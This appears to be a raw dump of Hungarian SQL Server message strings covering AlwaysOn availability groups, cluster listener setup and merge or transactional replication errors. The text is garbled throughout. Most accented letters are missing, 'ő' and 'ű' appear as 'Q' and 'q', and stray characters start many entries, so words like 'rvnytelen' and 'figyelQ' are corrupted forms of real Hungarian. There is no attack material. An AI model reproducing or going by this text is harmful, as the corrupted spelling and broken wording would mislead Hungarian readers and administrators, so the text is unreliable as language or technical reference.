|Sikertelen volt a feladattvtelre vagy egy rendelkezsre llsi csoport ltrehozsra irnyul ksrlet. Ez a mqvelet nem tmogatott, ha az AlwaysOn rendelkezsre llsi csoportok futtatsra hasznlt Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) frtkrnyezete egy tvoli WSFC-frt. Tvoli frtkrnyezet esetn a feladattvtel s a rendelkezsre llsi csoportok ltrehozsa nem tmogatott.

Az ALTER SERVER CONFIGURATION SET HADR CLUSTER CONTEXT = '%1!s!' parancs vgrehajtsa sikertelen volt, mert a helyi Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) frt  %2!s!  neve lett megadva. Prblja jbl vgrehajtani a parancsot gy, hogy egy tvoli WSFC-frt nevt adja meg.

Egy frt hlzati illesztQobjektumnak megnyitsa sikertelen volt:  %1!s! . A WSFC-frtvezrlQ alkalmazsprogramozsi fellete a kvetkezQ hibakdot adta vissza: %2!s!. Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

A kvetkezQk ugyanahhoz az alhlzathoz tartoznak:  %1!s!  s  %2!s! . Mindegyik alhlzattl csak egy IPv4- s/vagy egy IPv6-cm engedlyezett. Specilis konfigurci kialaktshoz forduljon a Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC) rendszergazdjhoz, s krje meg egy testreszabott konfigurci ltrehozsra a FrtkezelQ hasznlatval.

Nem sikerlt elindtani a rendelkezsre llsi csoport figyelQjt (hlzatnv) a kvetkezQ azonostj Windows Server feladattvteli frtszolgltatsi erQforrssal:  %1!s! , DNS-beli nv:  %2!s! , port: %3!s!, lland hiba: %4!s!. EllenQrizze a portszmokat, a DNS-beli neveket s a kapcsold hlzati konfigurcit, majd prblja megismtelni a mqveletet.

TNem sikerlt elindtani a rendelkezsre llsi csoport figyelQjt (hlzatnv) a kvetkezQ azonostj Windows Server feladattvteli frtszolgltatsi erQforrssal:  %1!s! , DNS-beli nv:  %2!s! , port: %3!s!, hiba: %4!s!. EllenQrizze a hlzat s a frt konfigurcijt, valamint a naplkat.

TNem sikerlt lelltani a rendelkezsre llsi csoport figyelQjt (hlzatnv) a kvetkezQ azonostj Windows Server feladattvteli frtszolgltatsi erQforrssal:  %1!s! , DNS-beli nv:  %2!s! , port: %3!s!, hiba: %4!s!. EllenQrizze a hlzat s a frt konfigurcijt, valamint a naplkat.

PA WSFC-frtnek nincs nyilvnos frthlzata IPv4 rendszerq alhlzattal. Ez mindenkppen szksges egy rendelkezsre llsi csoport DHCP-figyelQjnek ltrehozshoz. Konfigurljon egy IPv4 rendszerq alhlzattal rendelkezQ nyilvnos hlzatot a frthz, majd prblja ltrehozni a figyelQt.

A rendelkezsre llsi csoport figyelQjhez konfigurlt IP-cmek egyike sem lehet a kvetkezQ kiszolgln:  %1!s! . Vagy konfigurljon egy nyilvnos frthlzatot, amelyen a megadott IP-cmek egyike elhelyezkedhet, vagy vegyen fel egy tovbbi IP-cmet a figyelQhz, amely mqkdhet az ehhez a kiszolglhoz tartoz valamelyik nyilvnos frthlzaton.

A megadott  %1!s!  IP-cm nem rvnyes a frthz engedlyezett IP-cmtartomnyban. Krje meg a hlzati rendszergazdt, hogy a frthz engedlyezett IP-cmtartomnynak megfelelQ rtkeket vlasszon.

HAz elsQdleges s a msodlagos replikt futtat WSFC-csompontok eltrQ alhlzathoz tartoznak. A rendelkezsre llsi replikk esetben a tbb alhlzaton tlnyl DHCP nem tmogatott. Hasznlja a statikus IP-cm lehetQsgt a rendelkezsre llsi csoport figyelQjnek konfigurlshoz.

A kvetkezQ DNS-beli nevq figyelQ nem felel meg az SQL Server figyelQkre vonatkoz irnyelveinek, ezrt nem konfigurlhat az SQL Server hasznlatval:  %1!s! . A WSFC FrtkezelQ segtsgvel konfigurlja jra a figyelQt.

A rendelkezsre llsi csoport kvetkezQ DNS-beli nevq figyelQje a DHCP hasznlatra van konfigurlva:  %1!s! . Ilyen konfigurcij figyelQk esetben nem vehetQk fel IP-cmek az SQL Server hasznlatval. Ha IP-cmeket kvn felvenni a figyelQhz, dobja el a DHCP-figyelQt, majd hozza ltre jbl, statikus IP-cmek hasznlatra konfigurlva.

Az elsQdleges replikt futtat WSFC-csompont tbb alhlzathoz tartozik. A DHCP lehetQsg tbb alhlzatos krnyezetben val hasznlathoz adja meg az alhlzat IPv4 IP-cmt s alhlzati maszkjt a figyelQhz.

A WSFC-csompont szmbavteli lerjnak megszerzse sikertelen volt. Hibakd: %1!s!. Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve a megadott frterQforrs-figyelQ rvnytelen. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

A WSFC frthlzat illesztQvezrlQ alkalmazsprogramozsi fellete a kvetkezQ hibakdot adta vissza: %1!s!. Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

A WSFC frthlzat vezrlQ alkalmazsprogramozsi fellete rvnytelen IP-cmet adott vissza. A WSFC szolgltats adatbzisa esetleg rvnytelen adatokat tartalmaz, vagy a szolgltats nem tmogatott verzij.

A WSFC frthlzat kezelsi alkalmazsprogramozsi fellete felismerhetetlen fggQsgi kifejezst adott vissza:  %1!s! . A WSFC szolgltats adatbzisa esetleg rvnytelen adatokat tartalmaz, vagy a szolgltats nem tmogatott verzij.

A WSFC-erQforrs fggQsgi kifejezsnek megszerzse sikertelen volt a kvetkezQ nevq vagy azonostj frterQforrshoz:  %1!s! . Hibakd: %2!s!. Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

hSikertelen volt annak az erQforrs-fggQsgnek az eltvoltsa, amelyben a(z)  %1!s!  erQforrs a kvetkezQ erQforrstl fgg a WSFC-frtben:  %2!s! . Hibakd: %3!s!. Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve a megadott argumentumok rvnytelenek. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

A(z)  %2!s!  rendelkezsre llsi csoporthoz tartoz  %1!s!  DNS-beli nevq figyelQ mr figyel a kvetkezQ TCP-porton: %3!s!. Vlasszon msik TCP-portot a figyelQhz. Ha problma merl fel a figyelQvel, a problma elhrtshoz prblja jraindtani a figyelQt.

TA megadott  %1!s!  DNS-beli nevq figyelQ nem ltezik a kvetkezQ rendelkezsre llsi csoportnl:  %2!s! . Hasznljon ltezQ figyelQt, vagy hozzon ltre j figyelQt.

Sikertelen volt egy erQforrs trlse a WSFC-frtbQl, mert a kvetkezQ erQforrs nem offline llapot:  %1!s! . A Feladattvteli frt kezelQeszkzvel (cluadmin.msc) trlje az erQforrst.

A WSFC-frt nem tudta online llapotra hozni a kvetkezQ DNS-beli nevq hlzatnv-erQforrst:  %1!s! . A DNS-beli nv esetleg mr foglalt, vagy tkzik a ltezQ nvszolgltatsokkal, illetve esetleg nem fut a WSFC-frtszolgltats, vagy nem rhetQ el. Hasznljon eltrQ DNS-beli nevet a nvtkzsek feloldshoz, vagy tovbbi informcirt ellenQrizze a WSFC-frt napljt.

Sikertelen volt a kvetkezQ WSFC-frterQforrs trlse:  %1!s! . Hibakd: %2!s!. Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve a megadott argumentumok rvnytelenek. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

`Sikertelen volt annak az erQforrs-fggQsgnek a felvtele, amelyben a(z)  %1!s!  erQforrs a kvetkezQ erQforrstl fgg a WSFC-frtben:  %2!s! . Hibakd: %3!s!. Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve a megadott argumentumok rvnytelenek. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

Sikertelen volt a(z)  %1!s!  erQforrs-fggQsgi kifejezs belltsa a kvetkezQ WSFC-erQforrsra:  %2!s! . Hibakd: %3!s!. Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve a megadott argumentumok rvnytelenek. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

A kvetkezQ azonostj WSFC-erQforrs nem llthat offline llapotra:  %1!s! . Hibakd: %2!s!. Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

Sikertelen volt a figyelQ hlzatnevnek s IP-cmnek ltrehozsra irnyul ksrlet. Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve helytelen lehet a hlzatnvhez s az IP-cmhez megadott rtk. EllenQrizze a WSFC-frt llapott, s rvnyestse a hlzatnevet s az IP-cmet a hlzati rendszergazdval.

A(z)  %1!s!  rendelkezsre llsi csoporthoz mr tartozik figyelQ, amelynek DNS-beli neve:  %2!s! . A rendelkezsre llsi csoportok csak egy figyelQt tartalmazhatnak. Hasznlja a ltezQ figyelQt, vagy dobja el a ltezQ figyelQt, s hozzon ltre egy jat.

lNem sikerlt megtallni a kvetkezQ nevq vagy azonostj WSFC-erQforrs tbbkarakterlncos tulajdonsgt (tulajdonsgnv:  %1!s! ):  %2!s! . Rendszerhiba kdja: %3!s!. Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve a megadott argumentumok rvnytelenek. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

A WSFC frthlzat vezrlQ alkalmazsprogramozsi fellete a kvetkezQ hibakdot adta vissza: %1!s!. Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

Egy frt hlzati objektumnak megnyitsa sikertelen volt:  %1!s! . A WSFC-frtvezrlQ alkalmazsprogramozsi fellete a kvetkezQ hibakdot adta vissza: %2!s!. Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

|A WSFC-erQforrs llapotnak megszerzse sikertelen volt a kvetkezQ nevq vagy azonostj frterQforrshoz:  %1!s! . A WSFC-erQforrs llapotkezelQ alkalmazsprogramozsi fellete a kvetkezQ hibakdot adta vissza: %2!s!. Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

A megadott %1!s! portszm rvnytelen. Az rvnyes portszmok az 1 s 65535 kztti tartomnyba esnek. EbbQl a tartomnybl vlasszon portszmot. Ha nem ad meg portszmot, a rendszer az alaprtelmezett 1433-as szmot hasznlja.

A kvetkezQ IP-cm formtuma rvnytelen:  %1!s! . rvnyes rtket hasznljon az IP-cmhez.

A megadott  %1!s!  IP-cm tbbszr szerepel az IP-cmek listjn. A figyelQ konfigurcijba felvett mindegyik IP-cmnek egyedinek kell lennie. Mdostsa az utastst, hogy eltvoltsa vagy lecserlje a dupliklt rtkeket.

A megadott  %1!s!  DNS-beli nv rvnytelen. A DNS-beli nv hossznak 1 s 63 karakter kz kell esnie, a hatrokat is belertve. Mdostsa a DNS-beli nv rtkt, hogy az megfeleljen ennek a kvetelmnynek.

BefejezQdtek a rendelkezsre llsi csoport figyelQjnek konfigurcimdostsai, de az SQL Server pldnynak TCP-szolgltatja nem figyel a megadott porton [%1!s!:%2!s!]. Ez a TCP-port mr hasznlatban van. Konfigurlja jra a rendelkezsre llsi csoport figyelQjt, s elrhetQ TCP-portot adjon meg. A rendelkezsre llsi csoport figyelQjnek mdostsrl az  ALTER AVAILABILITY GROUP (Transact-SQL)  cmq tmakrben olvashat bQvebben az SQL Server online knyvekben.

 BefejezQdtek a figyelQ konfigurcimdostsai, de a megfelelQ TCP-szolgltat figyelsi llapota a kvetkezQ hibakd miatt nem llapthat meg: %1!s!. EllenQrizze a rendszer hibanapljt, hogy megtudja, figyel-e a TCP-szolgltat, vagy jra kell indtani a figyelQt.

pSikertelen volt a figyelQ hlzatnevnek s IP-cmnek ltrehozsra irnyul ksrlet, s sikertelen volt a hlzatnv s az IP-cm erQforrsnak visszalltsra irnyul ksrlet is. Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve helytelen lehet a hlzatnvhez s az IP-cmhez megadott rtk. EllenQrizze a WSFC-frt llapott, s rvnyestse a hlzatnevet s az IP-cmet a hlzati rendszergazdval. GyQzQdjn meg arrl, hogy mr nem ltezik ebbQl a mqveletbQl szrmaz hlzatnv vagy IP-cm erQforrs a frtben.

A FILESTREAM RsFx-vgpont ltrehozsra irnyul ksrlet sikertelen volt, HRESULT: 0x%1!s!. 

A FILESTREAM RsFx-vgpont trlsre irnyul ksrlet sikertelen volt, HRESULT: 0x%1!s!. 

%1!s!: Nem konvertlhat a kvetkezQ paramter %2!s!: A ltrejvQ colv tl sok bejegyzssel rendelkezne.

 A mdosts nem hajthat vgre, mert a cikk valsznqleg olyan kiadvnyban van, amelyhez nvtelen vagy gyfl-elQfizetsek tartoznak. A @force_reinit_subscription bellts rtkt lltsa 1-re, annak jvhagysra, hogy az ilyen elQfizets jbl inicializlva lesz.

Nem sikerlt eldobni az egyestses replikci rendszertblit.

Nem sikerlt ltrehozni az egyestses replikci rendszertblit.

A(z)  %1!s!  cikket nem sikerlt felvenni a kvetkezQ kiadvnyba:  %2!s! .

A(z)  %1!s!  kiadvnyhoz tartoz pillanatkpgynkt nem sikerlt eldobni.

,Inkompatibilis kiadvnytulajdonsgokat nem lehet belltani. Egy kiadvny  allow_anonymous  tulajdonsga az  immediate_sync  tulajdonsgtl fgg.

A(z)  %1!s!  elQfizets-tpus nem engedlyezett a kvetkezQ kiadvnyon:  %2!s! .

A(z)  %1!s!  kiadvnytulajdonsg nem mdosthat, ha elQfizetsek vannak rajta.

Trvnytelen a @schema_option rtke.

Nem sikerlt eltvoltani a kvetkezQ knyvtrat:  %1!s! . EllenQrizze az xp_cmdshell biztonsgi krnyezett, s zrja be azokat az egyb folyamatokat, amelyek hozzfrhetnek a knyvtrhoz.

rvnytelen a @subscription_type rtke. Az rvnyes rtkek:  pull  vagy  anonymous .

\Nem ltezik az elQfizets az elQfizetQn.

A @optional_command_line tl hossz. gynkdefincis fjlt kell hasznlni.

A(z)  %1!s!  replikcis adatbzis-bellts csak akkor llthat be, ha az adatbzis kzztevQi vagy terjesztsi adatbzis.

tA megadott cikkfelold rvnytelen vagy nem ltezik.

DNem tallhat az elQfizets.

Ennek a cikknek a jelenlegi belltsai tiltjk a feltltseket s rvnyben van a kvetkezQ: compensate_for_errors=true. A helyi s a nvtelen elQfizetQk viszont gy fognak viselkedni, mintha a kvetkezQ lenne rvnyben: compensate_for_errors=false.

rvnytelen a @subscriber_type rtke. Az rvnyes belltsok:  local ,  global  vagy  anonymous .

Az alt_snapshot_folder nem egyezhet meg a munkaknyvtrral.

A kiadvnynvnek egyedinek kell lennie. A megadott kiadvnynv ( %1!s! ) mr hasznlatban van.

LA kiadvny ( %1!s! ) nem ltezik.

DA cikk ( %1!s! ) nem ltezik.

A terjesztQ nem lett megfelelQen teleptve. Az adatbzis kzzttele nem engedlyezhetQ.

A terjesztQ nem lett megfelelQen teleptve. Az adatbzis kzzttele nem tilthat.

A(z)  %1!s!  cikk mr ltezik egy msik kiadvnyon eltrQ oszlop-nyomkvetsi belltssal.

hNem lehetett trlni a sort, mert nem ltezik.

 %1!s!  nincs definilva elQfizetQknt a kvetkezQhz:  %2!s! .

@rvnytelen kiadvnytpus.

A(z)  %1!s!  kiadvny nem tmogatja a(z)  %2!s!  elQfizetseket.

`A terjesztQ nem lett megfelelQen teleptve.

A(z)  %1!s!  cikk mr ltezik egy msik kiadvnyban eltrQ cikkfeloldval.

A cikkszqrQt nem sikerlt hozzadni a(z)  %1!s!  cikkhez a kvetkezQ kiadvnyban:  %2!s! .

A cikkszqrQt nem sikerlt eldobni a(z) %1!s!  cikkbQl a kvetkezQ kiadvnyban:  %2!s! .

Nem sikerlt eldobni a cikk(ek)et a kvetkezQ kiadvnybl:  %1!s! .

Tranzakci visszalltva. Nem sikerlt vgrehajtani az esemnyindtt. Prblja meg ismt a tranzakcit.

Nem sikerlt a(z)  %1!s!  cikk mdostsa, mert a kiadvny mr aktivlva van.

A priorits tulajdonsg rvnytelen helyi elQfizetQk esetn.

DMeg kell adni egy cikknevet.

0A cikk nem ltezik.

lNincs jogosultsga vgrehajtani ezt a mqveletet.

Egy elQfizets prioritsnak mdostshoz futtassa az sp_changemergesubscription eljrst a kzztevQn, ahelyett, hogy az sp_changemergepullsubscription eljrst hasznln az elQfizetQn. Ez csak visszamenQleges kompatibilitsra szolgl.

lA priorits rtke nem lehet nagyobb, mint 100.0.

A megQrzsi idQtartam 0 vagy nagyobb lehet, s nem hzdhat tl 9999. december 31-n.

LAz elQfizetQ nincs regisztrlva.

A @metatype paramter rtknek rvnyes rtkei: null, 1, 2, 5 vagy 6.

EltrQ %1!s! rtkq cikk mr ltezik a kvetkezQ objektumhoz:  %2!s! .

tAz aktulis adatbzis kzzttele nem engedlyezett.

A(z)  %1!s!  tbla nem tehetQ kzz egyestses repliklsra, mert van idQblyegzQ-oszlopa.

lNem tehetQ kzz jra a kvetkezQ tbla:  %1!s! .

A(z)  %1!s!  profilnv mr ltezik a megadott gynktpusnl.

A @agent_type lehetsges rtkei: 1 (pillanatkp), 2 (naplolvas), 3 (terjeszts) vagy 4 (egyests)

A @profile_type lehetsges rtkei: 0 (rendszer) vagy 1 (egyni)

pA kompatibilitsi szint nem lehet kisebb, mint 60.

Ennek az adatbzisnak a kompatibilitsi szintjt legalbb 70-re kell lltani ahhoz, hogy engedlyezve legyen egyestses kzzttelre.

Rowguidcol tulajdonsg oszlopok frisstse nem engedlyezett.

|A(z)  %1!s!  tbla, amelybe adatokat prbl beszrni, frissteni vagy onnan trlni, csak olvashatnak van megjellve. Ezeket a mqveleteket csak az egyestsi folyamat hajthatja vgre.

A profilt nem lehet eldobni. Vagy nincs definilva, vagy alaprtelmezett profilknt van definilva.

pA profilt nem lehet eldobni, mert hasznlatban van.

@A profil nincs definilva.

A megadott profilhoz mr ltezik a kvetkezQ paramternv:  %1!s! .

A cikk nem hozhat ltre a(z)  %1!s!  tbln, mert tbb mint %2!s! oszlopa van.

Nem lehet rvnyesteni olyan egyestsi cikket, amely hurkot kpezQ illesztsi szqrQket tartalmaz.

PAz elQfizetsi sor nem frissthetQ.

hNem frissthetQ az elQfizetQ informcis sora.

xCikkek csak a kzztevQn vehetQk fel vagy mdosthatk.

Csak tblaobjektum tehetQ kzz egyestses repliklsra szolgl  table  cikknt.

A  status  paramter rtke a kvetkezQk egyike lehet:  active  vagy  unsynced .

A @sync_mode paramter rtke a kvetkezQk egyike lehet:  native  vagy  character .

Problma merlt fel a msodpldny becenevnek ltrehozsakor.

8A @property paramter rtke a kvetkezQk egyike lehet:  sync_type ,  priority ,  description ,  subscriber_security_mode ,  subscriber_login ,  subscriber_password ,  publisher_security_mode ,  publisher_login ,  publisher_password ,  merge_job_login  vagy  merge_job_password .

rvnytelen a @subscription_type paramter rtke Az rvnyes belltsok:  push ,  pull  vagy  both .

lA(z)  %1!s!  kiadvnytulajdonsg nem lehet NULL.

A(z)  %1!s!  kiadvnyra nem fizethet elQ a(z)  %2!s!  elQfizetQ-adatbzis.

A(z)  %1!s!  kiadvny nem tmogatja a nosync tpust, mert olyan tblt tartalmaz, amelynek nincs rowguidcol oszlopa.

xNvtelen elQfizetst nem lehet lekldssel terjeszteni.

Csak nullnl nem kisebb, de 100-nl kisebb prioritsokat lehet kiosztani.

lNem sikerlt megszerezni a helyes licencadatokat.

lNem sikerlt megszerezni a helyes verziadatokat.

Az sp_mergesubscription_cleanup eljrst hasznljk a lekldses elQfizetsek tiszttsra. A lehvsos vagy nvtelen elQfizetsek tiszttsra az sp_dropmergepullsubscription eljrst kell hasznlni.

A(z)  %1!s!  tbla, amelybe megprbl adatokat beszrni, frissteni vagy onnan trlni, jelenleg frissts, ill. egyestsi repliklsra trtnQ inicializls alatt ll. A kzztevQn nem engedlyezett az adatmdosts, amg a frissts be nem fejezQdik s a pillanatkpek sikeresen le nem futottak. Az elQfizetQn az adatmdosts nem engedlyezett, amg a frissts be nem fejezQdik s a kezdeti pillanatkp alkalmazsa sikeresen meg nem trtnt, valamint le nem zajlott a szinkronizls a kzztevQvel.

LAz egyestsi repliklsi frissts nem fejezQdtt be, amg a pillanatkpgynk le nem futott a kzztevQn s az egyestsi gynk le nem futott az elQfizetQkn.

A(z)  %1!s!  elQfizetQ nem dobhat el. Vannak meglvQ elQfizetsek.

Nem ltezik a frissthetQ elQfizetQ trolt eljrsa:  %1!s! .

Nem sikerlt a beszrs az sp_articlecolumn eljrssal a kvetkezQbe: sysarticleupdates.

rvnytelen  %1!s!  rtk. Az rvnyes rtkek:  read only ,  sync tran ,  queued tran  vagy  failover .

rvnytelen  %1!s!  rtk a kvetkezQben:  %2!s! . A kiadvnyon nem engedlyezett a(z)  %3!s!  frissthetQ elQfizets.

Azonnal frisslQ elQfizetsek: Az elQfizetQ ltal beszrt/frisstett xml-rtkek NULL-knt lesznek repliklva a kzztevQ szmra.

Nem sikerlt eldobni a(z)  %1!s!  szinkron frisstsi trolt eljrst a kvetkezQben:  %2!s! .

A(z)  %1!s!  forrstbla nem tallhat a kvetkezQben:  %2!s! .

|A(z)  %1!s!  tbla nem tallhat a kvetkezQben:  %2!s! .

FrissthetQ elQfizetsek: Az elQfizetQnl beillesztett szveges, ntext- vagy kprtkek NULL rtkqek lesznek.

FrissthetQ elQfizetsek: A szveges, ntext- vagy kprtkek nem frissthetQk az elQfizetQnl.

FrissthetQ elQfizetsek: Nem lehet frissteni az identitsoszlopokat.

FrissthetQ elQfizetsek: Nem lehet frissteni az idQblyegzQ-oszlopokat.

FrissthetQ elQfizetsek: Tranzakcik visszalltsa folyamatban.

A(z)  %1!s!  adatbzis nem tartalmaz replikcis metaadatot egy olyan sorhoz, amelynek ROWGUIDCOL tulajdonsga egyezik az sp_showrowreplicainfo eljrs @rowguid paramternl megadott rtkkel. EllenQrizze, hogy a @rowguid paramternl megadott rtk helyes-e.

(FrissthetQ elQfizetsek: A kzztevQ s az elQfizetQ sorai nem egyeznek. a terjesztsi gynk futtatsval frisstse a sorokat az elQfizetQn.

FrissthetQ elQfizetsek: A repliklt adatok nem frissthetQk.

FrissthetQ elQfizetsek: Az INSERT s a DELETE mqvelet csak akkor tmogatott, ha a kzztett tblnak van idQblyegzQ-oszlopa.

xFrissthetQ elQfizetsek: Az INSERT mqvelet nem tmogatott az identits- vagy idQblyegzQ-oszloppal rendelkezQ tblkon, kivve, ha meg van adva egy elsQdleges kulcs az elQfizetQnl.

xFrissthetQ elQfizetsek: Az UPDATE mqvelet nem tmogatott az identits- vagy idQblyegzQ-oszloppal rendelkezQ tblkon, kivve, ha meg van adva egy elsQdleges kulcs az elQfizetQnl.

sp_MSmark_proc_norepl: a db_owner (adatbzis-tulajdonos) vagy sysadmin (rendszergazda) szerepkr tagjnak kell lennie.

|sp_MSmark_proc_norepl: rvnytelen objektumnv:  %1!s! .

Nem sikerlt rvnyesteni a kvetkezQ cikket:  %1!s! . Nincs aktivlva.

rvnyestsi hiba. Nem ltezik a kvetkezQ objektum:  %1!s! .

4(alaprtelmezett cl)

rvnytelen  %1!s!  rtk a kvetkezQ trolt eljrsnl:  %2!s! .

Az elQfizets nincs inicializlva. ElQszr futtassa a terjesztsi gynkt.

(A  status  cikktulajdonsg nem tartalmazhatja kvetkezQt: 64 bit,  DTS horizontal partitions , mert a kiadvny nem engedlyez adattalaktst.

@A  status  tulajdonsg rvnyes rtkei:  DTS horizontal partitions  s  no DTS horizontal partitions , mert a kiadvny engedlyezi az adattalaktsokat.

HA  dts horizontal partitions  s a  no dts horizontal partitions  nem rvnyes rtk a  status  tulajdonsgnl, mert a kiadvny nem engedlyez adattalaktst.

hNem mdosthat a kvetkezQ kiadvny:  %1!s! . A sync_method nem mdosthat  native  vagy  concurrent  rtkre, mert a kiadvny engedlyezve van heterogn elQfizetQk szmra.

A kiadvnynak ltezik lekldses elQfizetse. Az sp_subscription_cleanup eljrssal dobja el a nem mqkdQkpes lekldses elQfizetseket.

LA jelzett hiba kihagysra kerl.

Csak a(z)  %1!s!  vagy a db_owner (adatbzis-tulajdonos) szerepkr tagjai dobhatjk el a nvtelen gynkt.

A sor nem volt megtallhat az elQfizetQnl a repliklt parancs alkalmazsakor.

\Folytats adatkonzisztencia-hibk esetn.

Nem csatolhat a kvetkezQ elQfizetsi fjl:  %1!s! . EllenQrizze, hogy rvnyes elQfizetsi msolatfjl-e.

 %1!s!  nem futtathat, amikor a naplolvas gynk repliklja az adatbzist.

A cikk nem vehetQ fel. Az olyan kiadvnyok, amelyek engedlyezik az talakthat elQfizetseket DTS-sel (Data Transformation Services), csak olyan tblkat s indexelt nzeteket tartalmazhatnak, amelyek tblaknt vannak kzztve.

Az ellenQrzQsszeg-rvnyests nem tmogatott, mert a kiadvny engedlyezi a DTS-t. Hasznlja a csak sorszmos ellenQrzst.

Az rvnyests nem tmogatott olyan cikkeknl, amelyek DTS vzszintes partcikhoz vannak belltva.

xAz rvnyests nem tmogatott heterogn elQfizetQknl.

Heterogn elQfizets nem adhat hozz a kiadvnyhoz. A kiadvny nincs engedlyezve heterogn elQfizetsekhez.

CREATE DATABASE engedllyel kell rendelkeznie ahhoz, hogy elQfizetsi adatbzist csatoljon.

A(z)  %1!s!  kiszolgli felhasznl nem rvnyes felhasznl a kvetkezQ adatbzisban:  %2!s! . Az adatbzisba elQszr fel kell venni a felhasznli fikot vagy a  guest  felhasznli fikot.

A megadott biztonsgi md azt ignyli, hogy kapcsolt kiszolglknt regisztrlva legyen a kvetkezQ kiszolgl:  %1!s! . A kiszolgl felvtelhez hasznlja az sp_addlinkedserver eljrst.

ElQfizetsi adatbzis nem msolhat egy ltezQ adatbzisra.

0A  sync with backup  replikcis adatbzis bellts nem adhat meg a kzztevQi adatbzison, mert az adatbzis Egyszerq helyrelltsi mdban van.

A(z)  %1!s!  cikk csak akkor rvnyesthetQ, ha  SELECT ALL  engedlye van a kvetkezQ tbln:  %2!s! .

Nem rvnyes a @login paramter szmra megadott rtk.  %1!s!  nem felhasznl a kvetkezQ adatbzisban:  %2!s! . Az sp_grant_publication_access vagy sp_revoke_publication_access trolt eljrs vgrehajtsa elQtt vegye fel a felhasznli fikot az adatbzisba.

Nem hozhat ltre az egyestses replikcihoz tartoz kiadvny-hozzfrsi lista (PAL) adatbzis-szerepkr a kvetkezQ kiadvnyhoz:  %1!s! . Ezt a szerepkrt a kiadvnyhoz val hozzfrs vezrlsre hasznlja a replikls. EllenQrizze, hogy rendelkezik-e megfelelQ engedlyekkel ahhoz, hogy szerepkrt hozzon ltre a kiadvny-adatbzisban.

( %1!s!  szqrQ mr ltezik a kvetkezQ kiadvnyban:  %2!s! . Adjon meg egyedi nevet az sp_addmergefilter eljrs @filtername paramtere szmra.

`A partciazonost nem lehet kisebb 0-nl.

lNem sikerlt a dinamikus pillanatkp ltrehozsa.

xNem sikerlt a partciazonost adatainak megszerzse.

,Nem lehet ltrehozni particionltpillanatkp-feladatot. Mr ltezik egy feladat a(z)  %1!s!  kiadvnyhoz, amely hasznlja az sp_adddynamicsnapshot_job eljrs @suser_sname s/vagy @host_name paramtereinl megadott rtkeket. Ha a mr ltezQ feladat nem mqkdik helyesen, az sp_dropdynamicsnapshot_job eljrssal dobja el, majd hozzon ltre egy jat az sp_adddynamicsnapshot_job eljrs segtsgvel.

Nem tallhat olyan hely, ahol ltre lehetne hozni particionlt pillanatkpet. EllenQrizze, hogy meg van-e adva rvnyes pillanatkpmappa a kiadvny szmra. Ez lehet a terjesztQhz trstott alaprtelmezett mappa vagy a kiadvnyhoz trstott msik mappa.

Nem sikerlt ltrehozni dinamikuspillanatkp-ksztQ feladatot a dinamikus pillanatkp ltrehozsra.

Nem lehet elindtani a particionltpillanatkp-feladatot. EllenQrizze, hogy az SQL Server gynk fut-e a terjesztQn.

|A gykrkiadvny adatai nem tallhatk az jrakzztevQn.

0Olyan lekldsi elQfizets tallhat, amely a kvetkezQre irnyul:  %1!s! . Lehvsos elQfizetsi gynk nem adhat hozz lekldses elQfizetshez.

